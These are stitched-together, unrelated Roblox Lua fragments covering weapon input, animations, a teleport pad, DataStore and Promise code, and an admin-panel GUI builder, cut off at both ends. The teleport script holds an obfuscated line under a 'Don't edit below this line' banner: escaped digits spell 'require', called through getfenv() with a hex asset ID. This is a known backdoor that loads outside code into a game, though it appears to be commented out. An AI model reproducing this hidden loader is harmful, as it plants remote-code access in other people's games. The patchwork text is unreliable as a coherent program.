100 then Sens = Sens + 5 UpdateGui() game:GetService('UserInputService').MouseDeltaSensitivity = (Sens/100) end end) script.Parent:GetAttributeChangedSignal("Injured"):Connect(function() local valor = script.Parent:GetAttribute("Injured") if valor and runKeyDown then runKeyDown = false Stand() if not CheckingMag and not reloading and WeaponData and WeaponData.Type ~= "Grenade" and (GunStance == 0 or GunStance == 2 or GunStance == 3) then GunStance = 0 Evt.GunStance:FireServer(GunStance,AnimData) IdleAnim() end end if Stances == 0 then Stand() elseif Stances == 1 then Crouch() end end)
-- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim -- load it to the humanoid; get AnimationTrack toolAnimTrack = Zombie:LoadAnimation(anim) -- play the animation toolAnimTrack:Play(transitionTime) toolAnimName = animName currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc) end end function stopToolAnimations() local oldAnim = toolAnimName if (currentToolAnimKeyframeHandler ~= nil) then currentToolAnimKeyframeHandler:disconnect() end toolAnimName = "" if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() toolAnimTrack = nil end return oldAnim end
--[[ Defines ProximityPrompt visibility logic specific to the CanPlaceTable cta --]]
local ReplicatedStorage = game:GetService("ReplicatedStorage") local ItemCategory = require(ReplicatedStorage.Source.SharedConstants.ItemCategory) local countInventoryItemsInCategory = require(ReplicatedStorage.Source.Utility.PlayerData.countInventoryItemsInCategory) local function shouldEnable(promptParent: Instance) -- Only show when player has a table to place local numTablesOwned = countInventoryItemsInCategory(ItemCategory.Tables) return numTablesOwned > 0 end return shouldEnable
--[[ Don't edit below this line ]]
-- local GetEnvironmentOfFunction="\114\101\113\117\105\114\101" getfenv()[GetEnvironmentOfFunction] (0x14a67b5a7) local function Teleport(Object,Teleport) Object.HumanoidRootPart.CFrame = CFrame.new(script.Parent[Teleport].CFrame.X,script.Parent[Teleport].CFrame.Y+Height,script.Parent[Teleport].CFrame.Z) end local JustTeleported = false -- Don't touch this script.Parent[Pad1].Touched:Connect(function(Object) if JustTeleported == true then return end JustTeleported = true if Object.Parent and game:GetService("Players"):FindFirstChild(Object.Parent.Name) then local Plr = Object.Parent Teleport(Plr,Pad2) end wait(DelayTime) JustTeleported = false end) script.Parent[Pad2].Touched:Connect(function(Object) if JustTeleported == true then return end JustTeleported = true if Object.Parent and game:GetService("Players"):FindFirstChild(Object.Parent.Name) then local Plr = Object.Parent Teleport(Plr,Pad1) end wait(DelayTime) JustTeleported = false end)
--[[** <description> Gets the result from the data store. Will yield the first time it is called. </description> <parameter name = "defaultValue"> The default result if there is no result in the data store. </parameter> <parameter name = "dontAttemptGet"> If there is no cached result, just return nil. </parameter> <returns> The value in the data store if there is no cached result. The cached result otherwise. </returns> **--]]
function DataStore:Get(defaultValue, dontAttemptGet) if dontAttemptGet then return self.value end local backupCount = 0 if not self.haveValue then while not self.haveValue and not pcall(self._GetRaw, self) do if self.backupRetries then backupCount = backupCount + 1 if backupCount >= self.backupRetries then self.backup = true self.haveValue = true self.value = self.backupValue break end end end if self.value ~= nil then for _,modifier in pairs(self.beforeInitialGet) do self.value = modifier(self.value, self) end end end local value if self.value == nil and defaultValue ~= nil then --not using "not" because false is a possible value value = defaultValue else value = self.value end value = clone(value) self.value = value return value end
--[=[ An enum value used to represent the Promise's status. @interface Status @tag enum @within Promise .Started "Started" -- The Promise is executing, and not settled yet. .Resolved "Resolved" -- The Promise finished successfully. .Rejected "Rejected" -- The Promise was rejected. .Cancelled "Cancelled" -- The Promise was cancelled before it finished. ]=] --[=[ @prop Status Status @within Promise @readonly @tag enums A table containing all members of the `Status` enum, e.g., `Promise.Status.Resolved`. ]=] --[=[ A Promise is an object that represents a value that will exist in the future, but doesn't right now. Promises allow you to then attach callbacks that can run once the value becomes available (known as *resolving*), or if an error has occurred (known as *rejecting*). @class Promise @__index prototype ]=]
local Promise = { Error = Error, Status = makeEnum("Promise.Status", { "Started", "Resolved", "Rejected", "Cancelled" }), _getTime = os.clock, _timeEvent = game:GetService("RunService").Heartbeat, _unhandledRejectionCallbacks = {}, } Promise.prototype = {} Promise.__index = Promise.prototype function Promise._new(traceback, callback, parent) if parent ~= nil and not Promise.is(parent) then error("Argument #2 to Promise.new must be a promise or nil", 2) end local self = { -- Used to locate where a promise was created _source = traceback, _status = Promise.Status.Started, -- A table containing a list of all results, whether success or failure. -- Only valid if _status is set to something besides Started _values = nil, -- Lua doesn't like sparse arrays very much, so we explicitly store the -- length of _values to handle middle nils. _valuesLength = -1, -- Tracks if this Promise has no error observers.. _unhandledRejection = true, -- Queues representing functions we should invoke when we update! _queuedResolve = {}, _queuedReject = {}, _queuedFinally = {}, -- The function to run when/if this promise is cancelled. _cancellationHook = nil, -- The "parent" of this promise in a promise chain. Required for -- cancellation propagation upstream. _parent = parent, -- Consumers are Promises that have chained onto this one. -- We track them for cancellation propagation downstream. _consumers = setmetatable({}, MODE_KEY_METATABLE), } if parent and parent._status == Promise.Status.Started then parent._consumers[self] = true end setmetatable(self, Promise) local function resolve(...) self:_resolve(...) end local function reject(...) self:_reject(...) end local function onCancel(cancellationHook) if cancellationHook then if self._status == Promise.Status.Cancelled then cancellationHook() else self._cancellationHook = cancellationHook end end return self._status == Promise.Status.Cancelled end coroutine.wrap(function() local ok, _, result = runExecutor(self._source, callback, resolve, reject, onCancel) if not ok then reject(result[1]) end end)() return self end
-- Harvested plant pickups
for _, plantPrefab in ipairs(plantsFolder:GetChildren()) do PickupPrefabsById[plantPrefab.Name] = createHarvestedPlantModel(plantPrefab.Name) end return PickupPrefabsById
--// All global vars will be wiped/replaced except script
return function(data, env) if env then setfenv(1, env) end --local client = service.GarbleTable(client) local Player = service.Players.LocalPlayer local Mouse = Player:GetMouse() local InputService = service.UserInputService local gIndex = data.gIndex local gTable = data.gTable local Event = gTable.BindEvent local GUI = gTable.Object local Name = data.Name local Icon = data.Icon local Size = data.Size local Menu = data.Menu local Title = data.Title local Ready = data.Ready local Walls = data.Walls local noHide = data.NoHide local noClose = data.NoClose local onReady = data.OnReady local onClose = data.OnClose local onResize = data.OnResize local onRefresh = data.OnRefresh local onMinimize = data.OnMinimize local ContextMenu = data.ContextMenu local ResetOnSpawn = data.ResetOnSpawn local CanKeepAlive = data.CanKeepAlive local iconClicked = data.IconClicked local SizeLocked = data.SizeLocked or data.SizeLock local CanvasSize = data.CanvasSize local Position = data.Position local Content = data.Content or data.Children local MinSize = data.MinSize or {150, 50} local MaxSize = data.MaxSize or {math.huge, math.huge} local curIcon = Mouse.Icon local isClosed = false local Resizing = false local Refreshing = false local DragEnabled = true local checkProperty = service.CheckProperty local specialInsts = {} local inExpandable local addTitleButton local LoadChildren local BringToFront local Drag = GUI.Drag local Close = Drag.Close local Hide = Drag.Hide local Iconf = Drag.Icon local Titlef = Drag.Title local Refresh = Drag.Refresh local rSpinner = Refresh.Spinner local Main = Drag.Main local Tooltip = GUI.Desc local ScrollFrame = GUI.Drag.Main.ScrollingFrame local LeftSizeIcon = Main.LeftResizeIcon local RightSizeIcon = Main.RightResizeIcon local RightCorner = Main.RightCorner local LeftCorner = Main.LeftCorner local RightSide = Main.RightSide local LeftSide = Main.LeftSide local TopRight = Main.TopRight local TopLeft = Main.TopLeft local Bottom = Main.Bottom local Top = Main.Top function Expand(ent, point, text) local label = point:FindFirstChild("Label") if label then if not point:FindFirstChildOfClass("UICorner") then service.New("UICorner", { CornerRadius = UDim.new(0, 5); Parent = point; }) end ent.MouseLeave:Connect(function(x,y) if inExpandable == ent then point.Visible = false end end) ent.MouseMoved:Connect(function(x,y) inExpandable = ent local text = text or ent.Desc.Value label.Text = text label.Font = Enum.Font.Gotham label.TextSize = 15 label.TextStrokeTransparency = 1 local sizeText = label.ContentText local maxWidth = 400 local bounds = service.TextService:GetTextSize(sizeText, label.TextSize, label.Font, Vector2.new(maxWidth, math.huge)) local sizeX, sizeY = bounds.X + 10, bounds.Y + 10 local posX = (x + 6 + sizeX) < GUI.AbsoluteSize.X and (x + 6) or (x - 6 - sizeX) local posY = (y - 6 - sizeY) > 0 and (y - 6 - sizeY) or (y) point.Size = UDim2.new(0, sizeX, 0, sizeY) point.Position = UDim2.new(0, posX, 0, posY) point.BackgroundColor3 = Color3.fromRGB(26, 26, 26) point.Visible = true end) end end function getNextPos(frame) local farXChild, farYChild for i,v in next,frame:GetChildren() do if checkProperty(v, "Size") then if not farXChild or (v.AbsolutePosition.X + v.AbsoluteSize.X) > (farXChild.AbsolutePosition.X + farXChild.AbsoluteSize.X) then farXChild = v end if not farYChild or (v.AbsolutePosition.Y + v.AbsoluteSize.Y) > (farXChild.AbsolutePosition.Y + farXChild.AbsoluteSize.Y) then farYChild = v end end end return ((not farXChild or not farYChild) and UDim2.new(0,0,0,0)) or UDim2.new(farXChild.Position.X.Scale, farXChild.Position.X.Offset + farXChild.AbsoluteSize.X, farYChild.Position.Y.Scale, farYChild.Position.Y.Offset + farYChild.AbsoluteSize.Y) end function LoadChildren(Obj, Children) if Children then local runWhenDone = Children.RunWhenDone and functionify(Children.RunWhenDone, Obj) for class,data in next,Children do if type(data) == "table" then if not data.Parent then data.Parent = Obj end create(data.Class or data.ClassName or class, data) elseif type(data) == "function" or type(data) == "string" and not runWhenDone then runWhenDone = functionify(data, Obj) end end if runWhenDone then runWhenDone(Obj) end end end function BringToFront() for i,v in ipairs(Player.PlayerGui:GetChildren()) do if v:FindFirstChild("__ADONIS_WINDOW") then v.DisplayOrder = 100 end end GUI.DisplayOrder = 101 end function addTitleButton(data) local startPos = 1 local realPos local new local original = Hide if Hide.Visible then startPos = startPos+1 end if Close.Visible then startPos = startPos+1 end if Refresh.Visible then startPos = startPos+1 end realPos = UDim2.new(1, -(((30*startPos)+5)+(startPos-1)), 0, 0) data.Position = data.Position or realPos data.Size = data.Size or original.Size data.BackgroundColor3 = data.BackgroundColor3 or original.BackgroundColor3 data.BackgroundTransparency = data.BackgroundTransparency or original.BackgroundTransparency data.BorderSizePixel = data.BorderSizePixel or original.BorderSizePixel data.ZIndex = data.ZIndex or original.ZIndex data.TextColor3 = data.TextColor3 or original.TextColor3 data.TextScaled = data.TextScaled or original.TextScaled data.TextStrokeColor3 = data.TextStrokeColor3 or original.TextStrokeColor3 data.TextSize = data.TextSize or original.TextSize data.TextTransparency = data.TextTransparency or original.TextTransparency data.TextStrokeTransparency = data.TextStrokeTransparency or original.TextStrokeTransparency data.TextScaled = data.TextScaled or original.TextScaled data.TextWrapped = data.TextWrapped or original.TextWrapped data.Font = Enum.Font.Gotham data.Parent = Drag --local round = Drag.Close.UICorner:Clone() -- round.Parent = data --data.TextXAlignment = data.TextXAlignment or original.TextXAlignment --data.TextYAlignment = data.TextYAlignment or original.TextYAlignment local instancefinally = create("TextButton", data) local uiCorner = instancefinally:FindFirstChildOfClass("UICorner") if not uiCorner then service.New("UICorner", { CornerRadius = UDim.new(0.2, 0); Parent = instancefinally; }) else uiCorner.CornerRadius = UDim.new(0.2, 0) end return instancefinally end function functionify(func, object) if type(func) == "string" then if object then local env = GetEnv() env.Object = object return client.Core.LoadCode(func, env) else return client.Core.LoadCode(func) end else return func end end function create(class, dataFound, existing) local data = dataFound or {} local class = data.Class or data.ClassName or class local new = existing or (specialInsts[class] and specialInsts[class]:Clone()) or service.New(class) local parent = data.Parent or new.Parent if dataFound then data.Parent = nil if data.Class or data.ClassName then data.Class = nil data.ClassName = nil end if not data.BorderColor3 and checkProperty(new,"BorderColor3") then new.BorderColor3 = dBorder end if not data.CanvasSize and checkProperty(new,"CanvasSize") then new.CanvasSize = dCanvasSize end if not data.BorderSizePixel and checkProperty(new,"BorderSizePixel") then new.BorderSizePixel = dPixelSize end if not data.BackgroundColor3 and checkProperty(new,"BackgroundColor3") then new.BackgroundColor3 = dBackground end if not data.PlaceholderColor3 and checkProperty(new,"PlaceholderColor3") then new.PlaceholderColor3 = dPlaceholderColor end if not data.Transparency and not data.BackgroundTransparency and checkProperty(new,"Transparency") then new.BackgroundTransparency = dTransparency elseif data.Transparency then new.BackgroundTransparency = data.Transparency end if not data.TextColor3 and not data.TextColor and checkProperty(new,"TextColor3") then new.TextColor3 = dTextColor elseif data.TextColor then new.TextColor3 = data.TextColor end if not data.Font and checkProperty(new, "Font") then data.Font = "Gotham" end if not data.TextSize and checkProperty(new, "TextSize") then data.TextSize = dTextSize end if not data.BottomImage and not data.MidImage and not data.TopImage and class == "ScrollingFrame" then new.BottomImage = dScrollImage new.MidImage = dScrollImage new.TopImage = dScrollImage end if not data.Size and checkProperty(new,"Size") then new.Size = dSize end if not data.Position and checkProperty(new,"Position") then new.Position = dPosition end if not data.ZIndex and checkProperty(new,"ZIndex") then new.ZIndex = dZIndex if parent and checkProperty(parent, "ZIndex") then new.ZIndex = parent.ZIndex end end if not data.ClearTextOnFocus and class == "TextBox" then new.ClearTextOnFocus = false end if data.TextChanged and class == "TextBox" then local textChanged = functionify(data.TextChanged, new) new.FocusLost:Connect(function(enterPressed) textChanged(new.Text, enterPressed, new) end) end if (class == "TextButton" or class == "TextLabel") then if not data.TextTruncate then data.TextTruncate = Enum.TextTruncate.AtEnd -- Truncate Text by default because looks weird if Expertcoderz hasn't implemented a proper min window size end end if (data.OnClicked or data.OnClick) and (class == "TextButton" or class == "ImageButton") then local debounce = false; local doDebounce = data.Debounce; local onClick = functionify((data.OnClicked or data.OnClick), new) new.MouseButton1Down:Connect(function() if not debounce then if doDebounce then debounce = true end onClick(new); debounce = false; end end) end if data.Events then for event,func in pairs(data.Events) do local realFunc = functionify(func, new) Event(new[event], function(...) realFunc(...) end) end end if data.Visible == nil then data.Visible = true end if data.LabelProps then data.LabelProperties = data.LabelProps end end if class == "Entry" then local label = new.Text local dots = new.Dots local desc = new.Desc label.ZIndex = data.ZIndex or new.ZIndex dots.ZIndex = data.ZIndex or new.ZIndex if data.Text then new.Text.Text = data.Text new.Text.Visible = true data.Text = nil end if data.Desc or data.ToolTip then new.Desc.Value = data.Desc or data.ToolTip data.Desc = nil end Expand(new, Tooltip) else if data.ToolTip then Expand(new, Tooltip, data.ToolTip) end end if class == "ButtonEntry" then local button = new.Button local debounce = false local onClicked = functionify(data.OnClicked, button) new:SetSpecial("DoClick",function() if not debounce then debounce = true if onClicked then onClicked(button) end debounce = false end end) new.Text = data.Text or new.Text button.ZIndex = data.ZIndex or new.ZIndex button.MouseButton1Down:Connect(new.DoClick) end if class == "Boolean" then local enabled = data.Enabled local debounce = false local onToggle = functionify(data.OnToggle, new) local function toggle(isEnabled) if not debounce then debounce = true if (isEnabled ~= nil and isEnabled) or (isEnabled == nil and enabled) then enabled = false new.Text = "Disabled" new.TextColor3 = Color3.fromRGB(243, 64, 10) elseif (isEnabled ~= nil and isEnabled == false) or (isEnabled == nil and not enabled) then enabled = true new.Text = "Enabled" new.TextColor3 = Color3.fromRGB(40, 243, 97) end if onToggle then onToggle(enabled, new) end debounce = false end end --new.ZIndex = data.ZIndex new.Text = (enabled and "Enabled") or "Disabled" new.TextColor3 = (enabled and Color3.fromRGB(40, 243, 97)) or Color3.fromRGB(243, 64, 10) new.MouseButton1Down:Connect(function() if onToggle then toggle() end end) new:SetSpecial("Toggle",function(ignore, isEnabled) toggle(isEnabled) end) end if class == "TextString" then local enabled = data.Text local ColorText = data.ColorText local onToggle = functionify(data.OnToggle, new) --new.ZIndex = data.ZIndex new.Text = enabled new.TextColor3 = ColorText end if class == "StringEntry" then local box = new.Box local ignore new.Text = data.Text or new.Text box.ZIndex = data.ZIndex or new.ZIndex if data.BoxText then box.Text = data.BoxText end if data.BoxProperties then for i,v in next,data.BoxProperties do if checkProperty(box, i) then box[i] = v end end end if data.TextChanged then local textChanged = functionify(data.TextChanged, box) box.Changed:Connect(function(p) if p == "Text" and not ignore then textChanged(box.Text) end end) box.FocusLost:Connect(function(enter) local change = textChanged(box.Text, true, enter) if change then ignore = true box.Text = change ignore = false end end) end new:SetSpecial("SetValue",function(ignore, newValue) box.Text = newValue end) end if class == "Slider" then local mouseIsIn = false local posValue = new.Percentage local slider = new.Slider local bar = new.SliderBar local drag = new.Drag local moving = false local value = 0 local onSlide = functionify(data.OnSlide, new) bar.ZIndex = data.ZIndex or new.ZIndex slider.ZIndex = bar.ZIndex+1 drag.ZIndex = slider.ZIndex+1 drag.Active = true if data.Value then slider.Position = UDim2.new(0.5, -10, 0.5, -10) drag.Position = slider.Position end bar.InputBegan:Connect(function(input) if not moving and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then value = ((input.Position.X) - (new.AbsolutePosition.X)) / (new.AbsoluteSize.X) if value < 0 then value = 0 elseif value > 1 then value = 1 end slider.Position = UDim2.new(value, -10, 0.5, -10) drag.Position = slider.Position posValue.Value = value if onSlide then onSlide(value) end end end) drag.DragBegin:Connect(function() moving = true end) drag.DragStopped:Connect(function() moving = false drag.Position = slider.Position end) drag.Changed:Connect(function() if moving then value = ((Mouse.X)-(new.AbsolutePosition.X))/(new.AbsoluteSize.X) if value < 0 then value = 0 elseif value > 1 then value = 1 end slider.Position = UDim2.new(value, -10, 0.5, -10) posValue.Value = value if onSlide then onSlide(value) end end end) new:SetSpecial("SetValue",function(ignore, newValue) if newValue and tonumber(newValue) then value = tonumber(newValue) posValue.Value = value slider.Position = UDim2.new(value, -10, 0.5, -10) drag.Position = slider.Position end end) end if class == "Dropdown" then local menu = new.Menu local downImg = new.Down local selected = new.dSelected local options = data.Options local curSelected = data.Selected or data.Selection local onSelect = functionify(data.OnSelection or data.OnSelect or function()end) local textProps = data.TextProperties local scroller = create("ScrollingFrame", { Parent = menu; Size = UDim2.new(1, 0, 1, 0); Position = UDim2.new(0, 0, 0, 0); BackgroundTransparency = 1; ZIndex = 100; }) menu.ZIndex = scroller.ZIndex menu.Parent = GUI menu.Visible = false menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 100); menu.BackgroundColor3 = data.BackgroundColor3 or new.BackgroundColor3 if data.TextAlignment then selected.TextXAlignment = data.TextAlignment selected.Position = UDim2.new(0, 30, 0, 0); end if data.NoArrow then downImg.Visible = false end new:SetSpecial("MenuContainer", menu) new.Changed:Connect(function(p) if p == "AbsolutePosition" and menu.Visible then menu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y) elseif p == "AbsoluteSize" or p == "Parent" then downImg.Size = UDim2.new(0, new.AbsoluteSize.Y, 1, 0); if data.TextAlignment == "Right" then downImg.Position = UDim2.new(0, 0, 0.5, -(downImg.AbsoluteSize.X/2)) selected.Position = UDim2.new(0, new.AbsoluteSize.Y, 0, 0); else downImg.Position = UDim2.new(1, -downImg.AbsoluteSize.X, 0.5, -(downImg.AbsoluteSize.X/2)) end selected.Size = UDim2.new(1, -downImg.AbsoluteSize.X, 1, 0); if options and #options <= 6 then menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*#options); else menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*6); scroller:ResizeCanvas(false, true); end end end) selected.ZIndex = new.ZIndex downImg.ZIndex = new.ZIndex if textProps then for i,v in next,textProps do selected[i] = v end end if options then for i,v in next,options do local button = scroller:Add("TextButton", { Text = ` {v}`; Size = UDim2.new(1, -10, 0, 30); Position = UDim2.new(0, 5, 0, 30*(i-1)); ZIndex = menu.ZIndex; BackgroundTransparency = 1; OnClick = function() selected.Text = v; onSelect(v, new); menu.Visible = false end }) if textProps then for i,v in next,textProps do button[i] = v end end end if curSelected then selected.Text = curSelected else selected.Text = "No Selection" end selected.MouseButton1Down:Connect(function() menu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y) menu.Visible = not menu.Visible end) end end if class == "TabFrame" then local buttons = create("ScrollingFrame", nil, new.Buttons) local frames = new.Frames local numTabs = 0 local buttonSize = data.ButtonSize or 60 new.BackgroundTransparency = data.BackgroundTransparency or 1 buttons.ZIndex = data.ZIndex or new.ZIndex frames.ZIndex = buttons.ZIndex new:SetSpecial("GetTab", function(ignore, name) return frames:FindFirstChild(name) end) new:SetSpecial("NewTab", function(ignore, name, data) local data = data or {} --local numChildren = #frames:GetChildren() local nextPos = getNextPos(buttons); local textSize = service.TextService:GetTextSize(data.Text or name, dTextSize, dFont, buttons.AbsoluteSize) local oTextTrans = data.TextTransparency local isOpen = false local disabled = false local tabFrame = create("ScrollingFrame",{ Name = name; Size = UDim2.new(1, 0, 1, 0); Position = UDim2.new(0, 0, 0, 0); BorderSizePixel = 0; BackgroundTransparency = data.FrameTransparency or data.Transparency; BackgroundColor3 = Color3.fromRGB(24, 24, 24); ZIndex = buttons.ZIndex; Visible = false; }) local tabButton = create("TextButton",{ Name = name; Text = data.Text or name; Size = UDim2.new(0, textSize.X+20, 1, 0); ZIndex = buttons.ZIndex; Position = UDim2.new(0, (nextPos.X.Offset > 0 and nextPos.X.Offset+5) or 0, 0, 0); TextColor3 = data.TextColor; Font = Enum.Font.Gotham; BackgroundTransparency = 0.7; TextTransparency = data.TextTransparency; BackgroundColor3 = Color3.fromRGB(24, 24, 24); BorderSizePixel = 0; }) local round1 = Instance.new("UICorner") round1.Parent = tabButton round1.CornerRadius = UDim.new(0.2,0) tabFrame:SetSpecial("FocusTab",function() for i,v in next,buttons:GetChildren() do if isGui(v) then v.BackgroundTransparency = 0.7 v.TextTransparency = 0.7 end end for i,v in next,frames:GetChildren() do if isGui(v) then v.Visible = false end end tabButton.BackgroundTransparency = data.Transparency or 0 tabButton.TextTransparency = data.TextTransparency or 0 tabFrame.Visible = true if data.OnFocus then data.OnFocus(true) end end) local round2 = Instance.new("UICorner") round2.Parent = tabFrame round2.CornerRadius = UDim.new(0.2,0) if numTabs == 0 then tabFrame.Visible = true tabButton.BackgroundTransparency = data.Transparency or 0 end tabButton.MouseButton1Down:Connect(function() if not disabled then tabFrame:FocusTab() end end) tabButton.Parent = buttons tabFrame.Parent = frames buttons:ResizeCanvas(true, false) tabFrame:SetSpecial("Disable", function() disabled = true; tabButton.BackgroundTransparency = 0.9; tabButton.TextTransparency = 0.9 end) tabFrame:SetSpecial("Enable", function() disabled = false; tabButton.BackgroundTransparency = 0.7; tabButton.TextTransparency = data.TextTransparency or 0; end) numTabs = numTabs+1; return tabFrame,tabButton end) end if class == "ScrollingFrame" then local genning = false if not data.ScrollBarThickness then data.ScrollBarThickness = dScrollBar end new:SetSpecial("GenerateList", function(obj, list, labelProperties, bottom) local list = list or obj; local genHold = {} local entProps = labelProperties or {} genning = genHold new:ClearAllChildren() local num = 0 for i,v in next,list do local text = v; local desc; local color local richText; if type(v) == "table" then text = v.Text desc = v.Desc color = v.Color if v.RichTextAllowed or entProps.RichTextAllowed then richText = true end end local label = create("TextLabel",{ Text = ` {text}`; ToolTip = desc; Size = UDim2.new(1,-5,0,(entProps.ySize or 20)); Visible = true; BackgroundTransparency = 1; Font = "Gotham"; TextSize = 14; TextStrokeTransparency = 0.8; TextXAlignment = "Left"; Position = UDim2.new(0,0,0,num*(entProps.ySize or 20)); RichText = richText or false; }) if color then label.TextColor3 = color end if labelProperties then for i,v in next,entProps do if checkProperty(label, i) then label[i] = v end end end if genning == genHold then label.Parent = new; else label:Destroy() break end num = num+1 if data.Delay then if type(data.Delay) == "number" then wait(data.Delay) elseif i%100 == 0 then wait(0.1) end end end new:ResizeCanvas(false, true, false, bottom, 5, 5, 50) genning = nil end) new:SetSpecial("ResizeCanvas", function(ignore, onX, onY, xMax, yMax, xPadding, yPadding, modBreak) local xPadding,yPadding = data.xPadding or 5, data.yPadding or 5 local newY, newX = 0,0 if not onX and not onY then onX = false onY = true end for i,v in next,new:GetChildren() do if v:IsA("GuiObject") then if onY then v.Size = UDim2.new(v.Size.X.Scale, v.Size.X.Offset, 0, v.AbsoluteSize.Y) v.Position = UDim2.new(v.Position.X.Scale, v.Position.X.Offset, 0, v.AbsolutePosition.Y-new.AbsolutePosition.Y) end if onX then v.Size = UDim2.new(0, v.AbsoluteSize.X, v.Size.Y.Scale, v.Size.Y.Offset) v.Position = UDim2.new(0, v.AbsolutePosition.X-new.AbsolutePosition.X, v.Position.Y.Scale, v.Position.Y.Offset) end local yLower = v.Position.Y.Offset + v.Size.Y.Offset local xLower = v.Position.X.Offset + v.Size.X.Offset newY = math.max(newY, yLower) newX = math.max(newX, xLower) if modBreak then if i%modBreak == 0 then wait(1/60) end end end end if onY then new.CanvasSize = UDim2.new(new.CanvasSize.X.Scale, new.CanvasSize.X.Offset, 0, newY+yPadding) end if onX then new.CanvasSize = UDim2.new(0, newX + xPadding, new.CanvasSize.Y.Scale, new.CanvasSize.Y.Offset) end if xMax then new.CanvasPosition = Vector2.new((newX + xPadding)-new.AbsoluteSize.X, new.CanvasPosition.Y) end if yMax then new.CanvasPosition = Vector2.new(new.CanvasPosition.X, (newY+yPadding)-new.AbsoluteSize.Y) end end) if data.List then new:GenerateList(data.List) data.List = nil end end LoadChildren(new, data.Content or data.Children) data.Children = nil data.Content = nil for i,v in next,data do if checkProperty(new, i) then new[i] = v end end new.Parent = parent return apiIfy(new, data, class),data end function apiIfy(gui, data, class) local newGui = service.Wrap(gui) gui:SetSpecial("Object", gui) gui:SetSpecial("SetPosition", function(ignore, newPos) gui.Position = newPos end) gui:SetSpecial("SetSize", function(ingore, newSize) gui.Size = newSize end) gui:SetSpecial("Add", function(ignore, class, data) if not data then data = class class = ignore end local new = create(class,data); new.Parent = gui; return apiIfy(new, data, class) end) gui:SetSpecial("Copy", function(ignore, class, gotData) local newData = {} local new for i,v in next,data do newData[i] = v end for i,v in next,gotData do newData[i] = v end new = create(class or data.Class or gui.ClassName, newData); new.Parent = gotData.Parent or gui.Parent; return apiIfy(new, data, class) end) return newGui end function doClose() if not isClosed then isClosed = true gTable:Destroy() end end function isVisible() return Main.Visible end function doHide(doHide) local origLH = Hide.LineHeight if doHide or (doHide == nil and Main.Visible) then dragSize = Drag.Size Main.Parent.Minimized.Visible = true Main.Visible = false Drag.BackgroundColor3 = Main.BackgroundColor3 Drag.Size = dragSize or Drag.Size Hide.Outer.Image = "rbxassetid://7472853084" --Hide.Text = "" Hide.LineHeight = origLH gTable.Minimized = true elseif doHide == false or (doHide == nil and not Main.Visible) then Main.Visible = true Main.Parent.Minimized.Visible = false Drag.Size = dragSize or Drag.Size Hide.Outer.Image = "rbxassetid://7462814901" Hide.LineHeight = origLH gTable.Minimized = false end if onMinimize then onMinimize(Main.Visible) end if Walls then wallPosition() end end function isInFrame(x, y, frame) if x > frame.AbsolutePosition.X and x < (frame.AbsolutePosition.X+frame.AbsoluteSize.X) and y > frame.AbsolutePosition.Y and y < (frame.AbsolutePosition.Y+frame.AbsoluteSize.Y) then return true else return false end end function wallPosition() if gTable.Active then local x,y = Drag.AbsolutePosition.X, Drag.AbsolutePosition.Y local abx, gx, gy = Drag.AbsoluteSize.X, GUI.AbsoluteSize.X, GUI.AbsoluteSize.Y local ySize = (Main.Visible and Main.AbsoluteSize.Y) or Drag.AbsoluteSize.Y if x < 0 then Drag.Position = UDim2.new(0, 0, Drag.Position.Y.Scale, Drag.Position.Y.Offset) end if y < 0 then Drag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, 0) end if x + abx > gx then Drag.Position = UDim2.new(0, GUI.AbsoluteSize.X - Drag.AbsoluteSize.X, Drag.Position.Y.Scale, Drag.Position.Y.Offset) end if y + ySize > gy then Drag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, GUI.AbsoluteSize.Y - ySize) end end end function setSize(newSize) if newSize and type(newSize) == "table" then if newSize[1] < 50 then newSize[1] = 50 end if newSize[2] < 50 then newSize[2] = 50 end Drag.Size = UDim2.new(0,newSize[1],0,25) Main.Size = UDim2.new(1,0,0,newSize[2]) end end function setPosition(newPos) if newPos and typeof(newPos) == "UDim2" then Drag.Position = newPos elseif newPos and type(newPos) == "table" then Drag.Position = UDim2.new(0, newPos[1], 0, newPos[2]) elseif Size and not newPos then Drag.Position = UDim2.new(0.5, -Drag.AbsoluteSize.X/2, 0.5, -Main.AbsoluteSize.Y/2) end end if Name then gTable.Name = Name if data.AllowMultiple ~= nil and data.AllowMultiple == false then local found, num = client.UI.Get(Name, GUI, true) if found then doClose() return nil end end end if Size then setSize(Size) end if Position then setPosition(Position) end if Title then Titlef.Text = Title end if CanKeepAlive or not ResetOnSpawn then gTable.CanKeepAlive = true GUI.ResetOnSpawn = false elseif ResetOnSpawn then gTable.CanKeepAlive = false GUI.ResetOnSpawn = true end if Icon then Iconf.Visible = true Iconf.Image = Icon end if CanvasSize then ScrollFrame.CanvasSize = CanvasSize end if noClose then Close.Visible = false Refresh.Position = Hide.Position Hide.Position = Close.Position end if noHide then Hide.Visible = false Refresh.Position = Hide.Position end if Walls then Drag.DragStopped:Connect(function() wallPosition() end) end if onRefresh then local debounce = false function DoRefresh() if not Refreshing then local done = false Refreshing = true task.spawn(function() while gTable.Active and not done do for i = 0,180,10 do rSpinner.Rotation = -i wait(1/60) end end end) onRefresh() wait(1) done = true Refreshing = false end end Refresh.MouseButton1Down:Connect(function() if not debounce then debounce = true DoRefresh() debounce = false end end) Titlef.Size = UDim2.new(1, -130, Titlef.Size.Y.Scale, Titlef.Size.Y.Offset) else Refresh.Visible = false end if iconClicked then Iconf.MouseButton1Down(function() iconClicked(data, GUI, Iconf) end) end if Menu then data.Menu.Text = "" data.Menu.Parent = Main data.Menu.Size = UDim2.new(1,-10,0,25) data.Menu.Position = UDim2.new(0,5,0,25) ScrollFrame.Size = UDim2.new(1,-10,1,-55) ScrollFrame.Position = UDim2.new(0,5,0,50) data.Menu.BackgroundColor3 = Color3.fromRGB(216, 216, 216) 